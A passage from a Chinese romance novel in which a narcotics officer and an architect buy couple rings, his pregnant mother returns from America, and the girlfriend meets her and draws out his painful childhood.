“我们戴一下。”沈宗野说。 梁然:“你想向我求婚吗?” 沈宗野的手指微微收紧,他藏起眼底的澎湃望着梁然:“你想要吗?” “你觉得呢?”梁然没去关注钻戒,“选一对情侣戒指就好,你选吧。” 沈宗野没有违逆梁然的规则,那枚钻戒在灯下折射起强烈的炫光,他的视线从这一片光芒里移开,看起情侣对戒。 柜员想推销出钻石这笔大单,托着梁然的手指将钻戒戴了进去。 “女士您戴真的好适合,太漂亮了,先生您说呢?” 钻戒在梁然白皙的无名指上闪耀着流动的光彩,漂亮炫目。沈宗野不动声色扬起了薄唇。 梁然只是正常地欣赏了一眼就摘下钻戒,看起别的款式。 沈宗野也不再看那只钻戒,选了几款情侣戒指,询问梁然的意见。 最终他们挑了一款简洁的戒圈,女款素圈是碎钻设计,像满天星,男款是简单素洁的光面。 梁然选了戴在无名指上的圈号。 沈宗野目光极深。 梁然好笑:“你别想多,戴在这根手指我就能婉拒不必要的麻烦。”她的确只是这个意思。 沈宗野笑了笑。 结完账走出店,梁然觉得价格有些昂贵,她张了张唇,酝酿着怎么把这笔钱补上。 沈宗野看出她的意思:“我有很多奖金,你别替我节约。” 梁然忽然觉得有些心疼,沈宗野的奖金应该都是严重的任务换来的吧。 她知道沈宗野英文很好,也会泰语,而且书架上的心理学书籍也都翻烂了,他其实很有学习天赋,如果不做一名缉毒警察,在别的领域也会很出色。 梁然没去聊缉毒这个会让他们感情不愉快的话题。 回到家里,葡萄终于有了玩伴,冲着他们俩喵喵叫。 梁然说:“她饿了。” 沈宗野:“我去喂,你休息。” 梁然洗漱完,躺在沙发上玩起手机。 沈宗野忙完坐到她身边,梁然就挑了舒服的姿势,将脑袋枕在他腿上。 “在看新闻?”沈宗野瞥了眼梁然的手机屏幕。 “嗯,北京的新机场取名了,叫大兴国际机场,这座机场的设计师你知道是谁吗?” 沈宗野不确定地说:“Zahe?你的微信名字。” “你知道?” “嗯,之前看新闻随便记了一下,Zahe是一个建筑师的名字,但我不了解这名建筑师。” 梁然微笑,眼底有一些骄傲和向往:“她是我的偶像,我最喜欢的建筑师,我喜欢她作品超脱自然又在宇宙的瑰丽。北京新机场的设计图我看过,仅用八根柱子撑起150平方公里的建筑,我真的很崇敬。等机场建好,第一批航线开通时我要从南城飞到北京,坐我偶像设计的机场的第一批航班。” 梁然抬起眼:“到时候如果我们还在一起,沈宗野,我邀请你一起去啊。” “我们当然会在一起。”沈宗野俯身亲吻梁然额头。 这是2018年9月14号,时间在他们快乐的日子里流淌。 …… 第二天,沈宗野回到局里,想继续查陈沥周奶奶和董自新的母亲,但所有线索到这一步都已经断了,实在没有新的关键点可以抓。 王有为将沈宗野派去酒吧蹲毒贩,他们所有人都觉得这么大一个案子有几条漏网之鱼实在太寻常。 只有沈宗野和谢天明都认为董自新死之后所有线索都断得太干净,过于干净就是不正常,一块玻璃是因为脏了才要擦拭,才重新用干净掩盖。 沈宗野这趟酒吧的案子很顺利,蹲到凌晨四点按下了毒贩。 他本来想回梁然那边,但忙完从局里出来已经清晨了。 朝阳升在天空,金光洒落,一墙之外的马路上洒水车的音乐渐近又渐远。 梁然的微信语音发了过来:“沈宗野,还在抓毒贩吗?” 梁然刚刚醒来,嗓音里还带着一点刚睡醒的慵懒和鼻音。 沈宗野抿起笑,拨通梁然的视频,坐到车厢里。 手机屏幕上,梁然还在床上躺着,白皙的脸颊透着一抹红,乌黑的卷发散乱在枕边。 沈宗野在笑。 梁然:“太阳这么大。” “嗯,今天天气好,我刚忙完。我给你带早餐过来,你想吃什么?” “你昨晚睡觉了吗?” “还没有。” “那你别过来了,季姨在做早餐了。” 梁然的家离沈宗野那里太远,这会儿沈宗野开车过来会遇到早高峰,梁然说:“你先去补觉吧,晚上再见。” “我没关系,我想见你。” 梁然语气冷了下来:“你精力很旺盛是吗?” 沈宗野敛了笑,他很怕梁然不高兴,他认真说:“我听你的。” 梁然这才忍不住弯了弯唇:“我不是凶你哦,我是想让你先休息。” 她的语气忽然就很可爱,沈宗野笑意浓烈。 梁然要挂电话。 沈宗野说:“你忙你的,我看着就好。” “你在开车。”梁然有些无语,“沈警官,你的行为涉险违法了吧。” “好吧,那你挂吧。” 梁然挂了电话。 沈宗野有些怅然若失,望着微信备注上梁然名字的那轮弯月,他有些失笑。 他好像越来越离不开梁然了,如果他们真的会有分开那一天…… 沈宗野沉下眼眸,调转方向盘驶出停车场。 他希望永远不要有那一天。 他好像开始贪心起来,不想再守着梁然制定的这个规则。 …… 沈宗野到家补着觉,他是被开门声吵醒的。 关门的声音极轻,但他还是听到了。 沈宗野愉悦地勾起薄唇,猜到是梁然来了。他没起床,打算装睡,但等了会儿没听到动静。 沈宗野起身下床,房门这才被人从外打开。 站在门口的是方昭意。 他的妈妈回国了。 方昭意笑着看沈宗野,直到沈宗野十分惊喜地喊出那声“妈”,方昭意又哭又笑地冲过来抱他。 沈宗野张开双臂将他的妈妈紧紧拥抱。 他很想方昭意,他们母子已经有两年没有再见过。 “宝贝,想死妈妈了!”方昭意有些哽咽,“我早就想回来看你,一直到现在才有机会,你怪妈妈吗?” “怎么会,我也很想你,妈。”沈宗野轻轻拍着方昭意的后背。 他如今比五岁,比十岁的沈淮宗都还高出很多,他不需要再垫着凳子给他的妈妈做饭,不需要再踮起脚尖也拥抱不到他的妈妈。他这么高大,已经可以保护得了妈妈了。 但方昭意已经不需要他的保护了,他们母子之间好像都错过了彼此最需要对方的时候。 方昭意回国,沈宗野自然是高兴的。 他给梁然发微信说了这件事,告诉她他晚上下班不能去接她了。 梁然回复让他好好陪家人,并没有过问他妈妈的事情。 方昭意问完沈宗野最近工作上的案子,然后走到玄关,从鞋柜里拿出一双女士拖鞋。 “这是谁的?” 刚才进门时方昭意就瞧见了。 沈宗野在酝酿如何回答。 说出梁然,方昭意势必想见梁然,可他不想方昭意打扰到梁然,他怕梁然会介意。 方昭意又弯腰拿出梁然那双镶着钻的高跟鞋:“Valentino,也不像fake,你还舍得给人家买这么贵的鞋子了。可以啊,你现在开窍了?” 方昭意脸上是带着笑的,高兴沈宗野找到了女朋友。 方昭意很漂亮,她的五官和体态完全不像她这个年龄的状态,她生沈宗野的时候很年轻,今年也才45岁,金钱和科技的保养让她看起来顶多也就三十几岁。 但沈宗野还是觉得他的妈妈比两年前变老了,她明明很注重保养自己,如今腹部也有些丰腴,管理一个公司还是非常辛苦。 沈宗野说:“机上困吗,现在吃东西吗?我带你出去吃饭。” “别打岔哟,你交女友啦?怎么不告诉我嘛,交女朋友是好事,你这么危险的工作还有姑娘愿意跟着你,你还藏着掖着干什么?” 鞋柜里还有梁然的两双鞋,都是名牌。 方昭意很满意,笑得快合不拢嘴:“早知道每个月再多给你打点生活费,几万块钱够买什么?自己也不说,这姑娘很漂亮吧?” 沈宗野终于弯起了薄唇:“她是很好看,也很优秀。” “问她有没有时间,我们晚上一起吃个饭。” “她工作很忙,今天不在南城。” “那还是个很上进的姑娘嘛,那就过两天?你提前告诉人家。”方昭意来到沈宗野面前,要盯着他打电话的意思。 沈宗野说:“她的工作太忙,我现在打电话会吵到她。” 方昭意有些不乐意了,盯着沈宗野,唇边有一丝哂笑:“我信你?你是我生的,你觉得你说这句话我能信?”方昭意上下打量沈宗野,“啧,在家还摆酷。” 沈宗野的左手一直插在裤兜里。 沈宗野微抿薄唇,他不想让方昭意知道他左手断了一根大拇指。 方昭意坐到沙发上,静静望着沈宗野,她的眼神很慈爱,这样一言不发地看着沈宗野很久。 沈宗野隐约有些察觉到意外:“妈,怎么了?” “淮宗,你会介意我再生一个宝宝吗?” 沈宗野怔住:“不会,难道你怀孕了?” “我肚子里有个宝宝了,我和你黎叔也很意外,但他来了就是老天给的礼物,我想留下来。我本来早就想回国来看你,但医生说我是高龄,还是等宝宝过了三个月稳妥了再回国。” 沈宗野早就已经又惊又喜了。 喜的是他妈妈有了宝宝,多了一个人爱他妈妈。但他又担心,方昭意已经45岁高龄了,这个年龄有孕应该有很多风险。 方昭意的二婚丈夫黎亚国比方昭意小六岁,是一名丁克主义者,方昭意一开始和黎亚国结婚时也立下规矩不会再要宝宝,两人非常契合,合拍了十年。方昭意的月经都已经不准了,这两年才没有做避孕措施,谁知道她今年竟然怀上了宝宝,她和黎亚国都很惊喜,做了全面的检查后才决定留下这个宝宝。 沈宗野听完方昭意的解释,在确定方昭意的身体很健康后他才笑得很开心。 “宝贝,你希望妈妈给你生个妹妹还是弟弟呢?” “弟弟。”沈宗野说。 方昭意的笑容很幸福。 沈宗野望着她这份安宁的笑,忽然觉得落地窗外的晴天也很可爱。他在十年前就告诉过方昭意再要一个弟弟吧,那时方昭意拒绝他了,她说她很爱他,不想再要孩子分走他的爱。 可沈宗野同样很爱他的妈妈,他希望如果有一天他真的牺牲了,还会有一个弟弟继续爱着他的妈妈。 方昭意笑:“我倒希望是个女儿,你想摸摸他吗,和他打个招呼?” 沈宗野走到沙发前将手掌落在方昭意显怀不多的小腹上。 方昭意脸色一变,望着他拿出来的那只左手。 她抓住沈宗野的手,错愕地看着他。 沈宗野想抽回手已经来不及了。 第102章 第102章“梁然,你怎么哭了?…… 那根只剩一小节的大拇指那么丑陋,愈合的地方因为他长期有意锻炼而突起厚厚的茧。 这只手指没有指甲,所以做什么都只会伤到皮肉,有时候会出血,沈宗野就用白药止血,这里就反复结痂,变成硬茧。 梁然有时候会轻轻抚摸他这根拇指,她柔软的手指刮过这上面的硬茧,但更多的时候沈宗野藏起了上面的伤口,梁然看不到它受伤的样子。 此刻,方昭意抓着他这根手指,她的错愕变成嚎啕大哭。 身为一个母亲,方昭意在看到自己孩子丢了一只手指时怎么能不难过。 沈宗野不想让方昭意替他难过。 他笑:“这算什么,我很正常,我也不痛,我女朋友都不介意我这点残缺。妈,你别哭了。” 方昭意说:“不要干缉毒了,好吗?” 沈宗野只是笑。 “你现在交了女朋友了,又把手指废了一根,大拇指有多影响生活我能不知道?难怪你刚才一直把手揣在裤兜里。” 沈宗野安慰着方昭意。 方昭意好久才止了哭。 母子俩聊了很久,去餐厅吃了晚饭。 沈宗野第二天又请了假,和方昭意回Z城去看沈宗野的奶奶。 方昭意虽然与沈知培离了婚,但沈宗野的奶奶一直觉得愧对方昭意,一直将她当作女儿来疼,方昭意再婚时,沈宗野的奶奶也很支持,买了五金首饰托人漂洋过海带给方昭意。这些年方昭意也一直还替沈知培赡养老人,每个月会给奶奶一笔生活费。 沈宗野上次见奶奶还是在去老单身边卧底前,他这次结案回来只给老人打过视频电话,不敢去看奶奶,担心老人血压高,看到他缺失了大拇指会影响到身体。 Z城是紧挨着宁城的一个省会,沈宗野奶奶还有个妹妹嫁到了这边。在沈知培牺牲后,沈宗野又一直就读在警校,奶奶拒绝了方昭意带她去美国养老的邀请,和妹妹一家住在一起,平日里和一群老姐妹念老年大学,日子比年轻人还轻松充实。 这次见到沈宗野,老人和方昭意一样心疼得流下眼泪。对别人来说沈宗野只是失去了一节手指,对她们而言却是从她们心口上割下一块肉。 三代人终于聚在一起,度过短短一天开心的日子,沈宗野就接到局里的通知,要回去抓毒贩了。 临走时,奶奶也是非要沈宗野将女朋友带回来。 沈宗野说“她工作很忙,在外地出差”才逃过一劫。 老人非要看梁然的照片,沈宗野拗不过,找出了手机里的合照。 照片是他和梁然带着梁悦去东霖山谷游玩那次拍的,他背着猫包里的葡萄,牵着梁然走在林荫小道上,阳光斑斑点点从树叶里漏下,落在他和梁然身上。 奶奶高兴极了,放大梁然的照片,瞅着沈宗野背上探出小脑袋的葡萄,哪里都满意:“就这样多好,别学你爸爸干缉毒了,和她养个猫像养个孩子一样,一家三口过点平凡实在的日子。” 沈宗野只是笑。 奶奶将她的一只白玉手镯给了沈宗野,笑着对方昭意说:“你不吃醋吧?” “我吃什么醋,我还想给一只呢。”方昭意好笑。 奶奶对沈宗野说:“这是你爸爸的奶奶给我的,我把它交给你,给你喜欢的姑娘吧。” 沈宗野一时不知道要不要接。 他不知道他和梁然有没有未来,他能不能给她以后,她会不会撤销她的规则,他都不知道。 奶奶说:“你看她照片时那个眼神骗不了我,你很喜欢她,不管她是不是我们家的孙媳妇,这个镯子我都想给她,你拿去。” 这只和田玉手镯是温润的籽料白玉,沈宗野的奶奶年轻时戴着才刚刚好,她怕老了骨头硬摘不下来,很多年前就取了下来,送去重新抛光,就为了等到这一天。 沈宗野离开了Z城,方昭意难得回国,想再留几天陪陪老人。 这两天没有看到梁然,沈宗野很想梁然,但一回南城还是扑到了案子上,在城郊一个地下赌场蹲毒贩,天下了雨,他和同事浑身湿透也仍坚守在蹲守点。 原本一两天就能结束的案子还是因为毒贩的狡诈拖到了第三天后,一队人抓完毒贩,六辆警车才鸣警驶出一片狼藉的郊野。拖着熬夜淋雨的身体,大家全都筋疲力尽。 …… 夜晚,梁然从书房回到卧室,她的工作实在太忙,睡前发给沈宗野的微信没有等到回复,梁然沾了床就直接睡着了。 她似乎听到葡萄“喵喵”的叫声,翻了个身继续睡,忽然像是听到门锁转动的声音,极轻的一声响,但她还是感应到了。 梁然睁开眼,入目只是漆黑的卧室,她明明什么都没有看见,却叫了一声:“沈宗野。” “梁然。” 是沈宗野低沉的嗓音。 梁然从被子里起身,沈宗野已经抱住了她。 他的胸膛紧实滚烫,洗发水的薄荷香干净清宁。 “你终于回来了,这几天我很想你。”梁然忍不住笑了起来,声音有些慵懒依赖。 沈宗野的呼吸离她很近,他手掌托在她后颈,滚烫的吻封住了她的话。 梁然张唇亲吻沈宗野,在他手掌烙下时她的呼吸还是带着急促的喘息,她在这个漫长的吻里问他:“什么时候回来的?” “前天,从Z城回来后就接到了案子,案子涉密才没有告诉你。” 沈宗野的气息粗沉,回答她的话时并未停下动作。 梁然按住他手掌,抚摸着他拇指顶端那层硬茧:“你是不是还没好好休息?” “我现在不困。然然,我很想你。” 漆黑的房间没有光,可梁然仿佛能看到沈宗野眼底炽热的光。 她直接将沈宗野摁在了枕头上:“睡觉吧,明天再说。” “不想睡,我早上还得回局里。” “那也要先睡觉。”梁然手臂揽住沈宗野的腰,她的力量很轻,但竟可以轻松压倒沈宗野这么强大的人。 沈宗野没反驳她,将她扯到胸膛里抱着她睡。 他应该是累极了,很快就睡着了,呼吸声变得均匀。 梁然小心地从沈宗野胸膛下来,靠在他肩膀上也睡了过去。 但是梁然又被沈宗野的梦吵醒。 沈宗野一向睡得不沉,也睡得规矩,这会儿肩膀竟有些抖动,嘴里似乎在念什么。 “沈宗野?” 梁然打开灯,沈宗野额头有汗,颤动的薄唇里念着呓语。 梁然贴着耳朵才听到,他在说“妈妈,我有听话”。 梁然的心一沉,手背探到沈宗野额头,他的前额一片滚烫。 “沈宗野,你发烧了?”梁然叫醒了沈宗野。 沈宗野睁开眼睛,看清楚是她对她笑了下,他并不清楚他身体不舒服,只是眼皮很沉,对她毫无防备又睡了过去。 梁然冲出卧室去翻药箱,卷发在急促的脚步里飘飞。 她喂给沈宗野一粒退烧药,胶囊下不去,她叫不醒他,捏着他的嘴唇,那颗药还在舌头上。 “沈宗野,你先醒醒好吗?”梁然摇着沈宗野,“沈淮宗……” 她怎么也叫不醒他。 沈宗野做了一个梦,还是六岁那年找不到妈妈,在陌生的路上也找不到听得懂他说话的人,等他终于被方昭意找到,他想要的是妈妈的拥抱,但是妈妈推开了他,将他狠狠推倒在门上。 这个梦太长了,明明他和方昭意有过那五年相依为命的经历,梦里却全都是他被妈妈训斥时的惶恐。 等他终于从这里梦里醒来,眼前昏黄的灯光像是绿野之上的月光,梁然的脸模糊又清晰,她在流泪,她说“沈宗野,你醒醒,你不要吓我”。 沈宗野将梁然扯到怀里。 有眼泪滴落到沈宗野脸颊,沈宗野终于彻底看清楚了梁然,她眼眶发红,流着眼,满眼的担心。 沈宗野怔住了,他第一次在梁然眼里看到她这样的紧张。 “梁然,你怎么哭了?” “你发烧了,我们去医院。”梁然坐起身,拉着沈宗野胳膊。 沈宗野这才感觉眼皮的沉重不正常,手背摸到的额头很烫,但是他身体却感觉冷。 连续淋了两晚的雨,应该是蹲毒贩时淋雨发烧了。而梁然叫了他这么久,他竟然都没听到,他之前为了更好地卧底还几次试用过麻痹神经的吐真剂,以达到抗药性。他明明时刻都能保持清醒,却在梁然身前真的已经毫无防备了。 沈宗野说:“我吃药就好,有退烧药吗?” 梁然重新掰了一粒药喂给沈宗野。 她还是有些担心:“你有哪里不舒服,要不要去医院挂个水?” “不用,吃退烧药就好。”沈宗野吃完药,望着梁然说,“让你担心了,你快睡觉吧。” 梁然还是不放心。 沈宗野忽然想起什么,让她拿一下他的外套。 他从外套里摸出一个首饰盒,里头是一只玉镯子。 “回Z城的时候我奶奶知道我谈了女朋友,想把这个给你。” 梁然怔住:“这个镯子品相很好,有什么深刻的意义吗?” 沈宗野笑:“就是送给你的礼物,是我奶奶的心意。” 床头柜上放着一支护手霜,沈宗野借护手霜的润滑将镯子套在了梁然手腕上。 纤细白皙的手腕配白玉镯子,圈口也是刚刚好,梁然戴上很漂亮。 沈宗野亲了亲梁然手腕,将她扯到怀里:“然然。”他只是这样叫了梁然的名字,嗓音像有舍不掉的重量。 梁然转着这个镯子很久,总觉得手腕上沉甸甸的,意义不一样。 她没有拒绝,也没有说什么,等沈宗野睡着找来物理降温贴贴在沈宗野额头上,又想起沈宗野可能还有闹钟,她不想他明早起来太早,拿过沈宗野的手机想解锁,才发现她解锁不了他的手机。 梁然有些失笑,她和沈宗野这样的关系到底是亲密还是形式上的亲密而已? 沈宗野第二天还是起得很早。 梁然明明都已经将他的手机铃声关掉了,他还是在震动里醒来。 梁然昨晚担心沈宗野,没怎么睡好,他起床时她也被手机的震动吵醒。 “就不能请假吗?” “我没什么问题,再吃点药。”沈宗野说,“才六点半,你再睡会儿。” “你要开车去?” 沈宗野点头。 梁然下了床:“我开车送你吧。” “不用,我没问题。” 沈宗野的身体还是有些昏沉,但他对自己的状态很了解,这点小症状不会影响到他开车,何况梁然这会儿也没睡好,他怎么舍得让梁然折腾。 “你都发烧了,怎么开车?为什么你要这么倔。” 梁然生气了。 沈宗野忽然弯下腰来,看着梁然生气的双眼,他心脏像忽然开起一朵绚丽的花。 沈宗野弯起薄唇:“你别生气,但是然然,你生气的样子真的好可爱。” 梁然才没有和沈宗野嬉皮笑脸,她给了沈宗野一记白眼。 最终这事以沈宗野打车离开结束,梁然还在视频上看着沈宗野打上一辆出租车。 她又了睡了半个小时才起床去上班,发给沈宗野的微信他也全都只回她“身体已经好了”。 到下班的时间,梁然坐在办公室里拨通沈宗野的电话。 “你好些了吗?” “我没事了,在审犯人。”沈宗野说完传出几声咳嗽。 梁然发出一声冷笑:“真厉害呢,警官嘴里都没真话。” “然然,我可能得晚上再回来陪你,今晚可能要半夜去了。” 梁然说:“你就在宿舍休息吧,你来我这里太远了。” 手机忽然有个陌生的来电,梁然说:“我接个电话,就这么说定了,不许不听话。” 挂了电话,梁然接起这个陌生的号码。 竟是沈宗野的妈妈。 电话里的女人说她叫方昭意,是沈宗野的妈妈,号码不是沈宗野给她的,但她能不能请梁然吃顿饭。 梁然有些意外,但没有告诉沈宗野,去赴了这个约。 …… 方昭意今天才从Z城回来,中午去了沈宗野单位一趟,和沈宗野在食堂吃了顿午饭,她后天的飞机回纽约,还是想见一面沈宗野的女朋友,但沈宗野说梁然在外地出差。 方昭意太了解沈宗野,她知道也许是沈宗野害怕给不了女方未来,才不想把事情弄得这么复杂,让她打扰到女方。 方昭意看出沈宗野很在意梁然,走之前,她想见梁然一面。 她在梁然的衣服上找到了梁然的号码。 梁然住在沈宗野那里时,有几件衣服送去了干洗店,跑腿把衣服取回来时上面有梁然的姓名和手机号码,梁然当时直接挂进衣柜里了。 …… 一家高档中餐厅的包房里,方昭意已经点好菜等在里面。 梁然直接从公司过来,身上是一件米白色的亚麻西装,微微宽松慵懒的款式,搭着一条卡其色短裤,双腿白皙纤直,卷发自然垂下。她清冷干练,修长的天鹅颈,坚定的眼神,一切美好的外表与气质都在她身上。 见到方昭意,梁然在对方的微笑里也抿起红唇露出笑。 第103章 第103章“说不定你们很早就见…… 沈宗野很像他的妈妈,大概有四五分像。 他的妈妈太漂亮,外貌很像养尊处优的富太太,但气质又比较像聪慧能干的事业女性。梁然从来没有去探究过沈宗野的家庭和亲人,见到他这么漂亮的妈妈,梁然还是很意外的。 方昭意身上没有太多岁月的痕迹,这种年轻美丽是看不见的金钱堆砌。她身上也有很多奢侈品,项链、手表、包包,都价值不菲。 梁然打量方昭意的同时,方昭意也将梁然看在眼里。 梁然外表优越,气质清冷高贵,神态倒是大方。她身上的首饰都很昂贵,手腕上戴着沈宗野奶奶给的那只白玉镯子,很衬她的气质。方昭意对梁然很满意。 方昭意本来以为梁然花的是沈宗野的钱,但现在看到梁然的气质,她猜测恐怕梁然从小就应该养尊处优,沈宗野都赶不上人家。难怪沈宗野没想让她来打扰别人。 方昭意笑:“谢谢你能来吃这顿饭,我该怎么称呼你?我在淮宗家里看到你干洗后的衣服上留下的号码,上面写着梁女士。” “我叫梁然,您叫我名字就好。”梁然坐下后,引她进来的服务生还没有离开,她抬手要了对方的平板,对方昭意说,“他家的松鼠黄鱼是特色,您要尝尝吗?” “可以,我不太熟悉,你可以再点些菜。” 梁然加了两道特色菜,服务生退出去,包房里只有大厅那边传出的浅浅音乐。 方昭意说:“方便问下你从事什么领域吗?” “我做建筑设计。” 方昭意很意外,笑着说:“你是个很优秀的姑娘,国内的建筑设计清华和东南大学很知名,你在国内念的书吗?” “我在美国念的书。” “你在哪个州?我也在美国生活和工作。” “费城。”梁然问,“您没在国内工作,没有和沈淮宗在一起?” 从前的梁然并不会主动过问和沈宗野相关的事,但昨天晚上沈宗野睡梦中还是喊的那句妈妈,让梁然忽然想了解沈宗野的过去,这也是她来赴约的原因。 方昭意说:“淮宗没有和你提起我吗?” 梁然说:“我没有问他。” “我和他爸爸在他六岁时就离婚了,我带他去了美国,后来我一直定居在那边。”方昭意带着笑,“你在那边留学,平时会和同学去吃中餐厅吗?我在那边开了餐厅。” 离婚。 还是在沈宗野六岁。 梁然听着这些话,在方昭意的询问下维系着礼貌的微笑:“经常跑中餐厅,您的店叫什么名字?也许听说过。” 方昭意聊着店。 梁然有些意外,是一家非常知名的连锁中餐品牌,已经算是规模很大的公司。沈宗野的妈妈竟然是这么厉害的企业家。 她说:“我去过很多次。” 方昭意也很开心:“淮宗在大三那年被我叫去纽约过了一个月暑假,陪我走了好几个城市的餐厅,说不定你们很早就见过。” 梁然只是附和方昭意笑了笑。 “吃菜吧。”方昭意动起筷子,替梁然夹菜。 梁然说着谢谢。 饭过七分饱,方昭意将给特意带来的礼物送给梁然,是一只爱马仕包包,虽然不是限量款,但初次见面给的礼物已经算昂贵了。 梁然说:“您太客气。” “希望你收下,虽然是第一次见面,但我很喜欢你。” 梁然说了谢谢,问方昭意:“我能告诉沈淮宗我们见过面吗?” “你想说可以啊,我一直叫他约你出来让我请你吃顿饭,但他说你在出差,他好像不希望我见到你。” 梁然问:“那您想见我的目的呢?” 梁然的直言不讳让方昭意怔了瞬间,方昭意笑:“我儿子很优秀,他的条件如果不知道他是一名那种警察,应该会有很多女孩子喜欢。但他的职业太危险,注定会让女孩子权衡考量,我想见你是对你好奇,也是希望你们好好在一起,希望你能多陪伴他。如果你们感情稳定,经济上你不用考虑太多。” 梁然只是问:“方便问下您陪伴沈淮宗的时间有多久吗?” 方昭意怔住,中年女人的脸上依旧是漂亮的笑,但她的眼神没有这份笑意。 “我没有陪伴他太久,作为母亲我挺亏欠他。” “所以你希望我长久地呆在沈淮宗身边,做你没做到的事?”梁然很平静地说。 方昭意对梁然这句直言不讳已经有些不满。 梁然继续问:“沈淮宗很爱他的爸爸,他的职业是因为他爸爸。我想知道您和他爸爸离婚的原因,方便说下吗?” 方昭意眼神冷了下来。 她已经有些不悦了,但她沉默片刻后还是回答:“因为他爸爸职业的问题。” “因为他爸爸的职业不能陪伴你,还是因为他爸爸的职业在外面逢场作戏的异性?” 梁然竟然继续问出了这些话,她的问题太尖锐,但她的语气神态又这么平静,完全看不出一丝不礼貌。 可方昭意觉得她作为长辈被梁然这样赤裸地询问,已经很冒犯。 方昭意冷静地说:“我和他爸爸的关系几句话说不清,你们也不懂。” 梁然点了点头,说了一句抱歉,又问:“沈淮宗和你去美国生活了多久?” “他十一岁时回到他爸爸身边的。” “为什么,你不要他了吗?” 方昭意眼神沉了下来,她眼里已经有了被质疑被挑衅的怒气,但是梁然依旧这么平静。 灯光下的梁然只是安静地端坐,认真聆听等待答案,她平静到像听一个陌生人的故事,没有不礼貌,也不刻薄。但对方昭意来说这些却是她痛苦的疤,岁月用尽全力将她的疤愈合,却要重新被撕开。 “他是我儿子,我不会不要他,因为我身体的原因才将他送回国。” 梁然轻轻说了句抱歉。 她又望着方昭意:“我小时候和我父母也去过美国旅游了两次,跟留学过去是不一样的。第一次去异国他乡念书,我会想爸爸妈妈,会想回国。城市的路和周围人的语言对我来讲很陌生,即便我那时已经刚满了20岁。” “20岁的我会在异国感受到那股情绪,六岁的沈淮宗肯定也是。他的英文念得很好,发音比我都纯正,我之前虽然疑惑但是没有问过他,我想他在他父母刚分开时去到一个陌生的国家,他的妈妈身体不好,他也听不懂周围人的语言,吃不到喜欢吃的菜,找不到朋友,一定很需要妈妈的爱。” “沈淮宗很照顾我,他好像很会照顾人,也很喜欢给我做饭。他做的早餐和晚餐除了味道好吃外摆盘很讲究,我猜应该不是你们家开餐厅的缘故,也许是他为了照顾生病的你才学会做那些摆盘可爱的菜。” 方昭意认真地听着,眼神已经有些黯淡。 梁然继续说:“我听过沈淮宗说起两次你,是他的梦话。第一次他说‘妈妈,我今天有听话’,第二次是昨天晚上,他发烧了,说‘妈妈,我有听话’。也许他比你知道的还要爱你。” 有泪水从方昭意的眼眶流下,她侧过脸擦掉了。 梁然递给她纸巾。 方昭意说:“不好意思,让你见笑了。” “没关系。您哪天的飞机?” “后天早上。” “那明天我们一起吃个饭吧,叫上沈淮宗,今天就当没见过。” 方昭意深深看一眼梁然,对她说“谢谢”。 …… 第二天重新吃完了这顿饭,沈宗野看起来应该是最开心的那个。 结束后方昭意先回到车上,沈宗野和梁然在这家餐厅的庭院里缓慢往外走去。 沈宗野说:“你和我妈好像很聊得来。” 刚刚的包房里方昭意和梁然聊得很多,基本上方昭意说的话梁然都会接住,不会让话题掉空。梁然是个话并不多的人,能做到这一步完全是为了沈宗野,沈宗野看出来了。 梁然抿起笑:“她是你妈妈,又难得回来。” 九月的南城还没有那么冷,空气里的风沁凉干净,庭院里开满蓝色紫色的绣球花,古筝的音乐在清风和花香里飘扬。 沈宗野扣住梁然的手,手指的力量有些加重。 他手上的茧偏硬,微微刮过梁然的皮肤,烙下一股痒,梁然笑着看他。 “然然,谢谢你。”沈宗野说,“我妈昨天找过你了吧?抱歉,是我没处理好,让我妈打扰到你了。” 梁然有些意外:“你怎么知道我们昨天见过?” “看出来了,你们俩都不怎么会演戏。” 沈宗野是个缉毒警察,他的眼睛就是尺,虽然刚才饭桌上梁然和方昭意聊的话题都像是初次见面会聊的内容,但两人神态间细微的表情还是被沈宗野看在了眼底。 沈宗野紧望着梁然,目光少见的柔和。 “我妈有为难你吗?” “当然没有,你妈妈很爱你,她很关心你。” 沈宗野又问:“你们都聊了什么?” “没聊什么啊,她说她在美国开中餐厅,你暑假还去帮过忙,你哪年暑假去的,15年吗?” 沈宗野点头。 “那也许说不定我们在国外还见过,我去过好几次你妈妈的餐厅。”梁然歪着头回想。 她很少有这么灵动的表情,沈宗野忍不住笑了。他当时也不过只在那里呆过一个月,总共就陪方昭意去了几家还是十几家门店,早就已经记不清了。如果他那时就见过梁然这么好看的姑娘,他肯定早就一眼记住了她。 沈宗野说:“我应该没有见过你,但是你的名字让我有一种熟悉。你以前叫梁真?” 晚风温柔,古筝还是春江花月夜般的幽与雅,庭院不小,可也不大,谈话间就能走出拱门,但她们两个人都不约而同放慢了脚步。 梁然的曾用名也不是秘密,她点头。 第104章 第104章是正缘 沈宗野是在知道梁然被绑架过后特意在系统里看了这段卷宗,拉出绑架梁然的吸毒男生的信息,记住了这个人。所有对梁然有危险的人和事他都牢牢记在了心里,当时看到梁然的曾用名,竟会有一种似曾相识的感觉,但他知道他以前并不认识梁然。 有人说如果你遇到的是正缘,那么这些似曾相识都是缘分使然。 他和梁然是这段正缘吗? 沈宗野牵着梁然,还是走出了这方庭院。 他的车停在外头停车场,方昭意还在车上等他。 梁然说:“走吧,别让你妈妈等久了,明天见。” 沈宗野抱了抱梁然:“我先看着你走。” 梁然好笑地对他说“拜拜”,上了车离开了停车场。 沈宗野这才回到车上。 方昭意坐在后排,开车的是方昭意的助理,这趟回国黎亚国不放心她,工作上又抽不开身,就让助理陪方昭意。 沈宗野上了车,方昭意笑得有些揶揄。 “这次我回来呆的时间太久了,我就应该早几天直接走掉,不打扰你的好事。” “哪有,你回来我很高兴。” 母子俩回到家里。 方昭意说房子还是太小了,当时买时只是考虑到沈宗野上班方便。 “我给你账户上存了笔钱,你现在谈了女朋友别舍不得花钱,然然开的车比你都好,当初我说给你买台好点的车你不要,我明天就叫人把你的车安排上。” 沈宗野说:“我不用,我的工资够我花销。” “给你你就拿着,妈妈是过来人,你后面花钱的地方还多着。”方昭意打开手机在看车,问沈宗野喜欢哪一辆。 沈宗野坐到沙发旁:“你肚子难受吗?” “我很好啊,这个小宝宝不闹腾,我也没什么孕吐。” 沈宗野点点头。 方昭意说:“别打岔,看车。” “我不买车,现在的车够开了。”沈宗野在看手机,问梁然到没到家,梁然回复他刚刚回家,发来了一张葡萄粘在她脚边的照片。沈宗野弯起薄唇,直到方昭意又叫他才收起笑。 “我不换车,我开得太好去局里影响不好,而且梁然不介意我开的车是好是坏。” 方昭意拿沈宗野没办法:“那你自己看着办吧,卡里的钱你随便支配。” 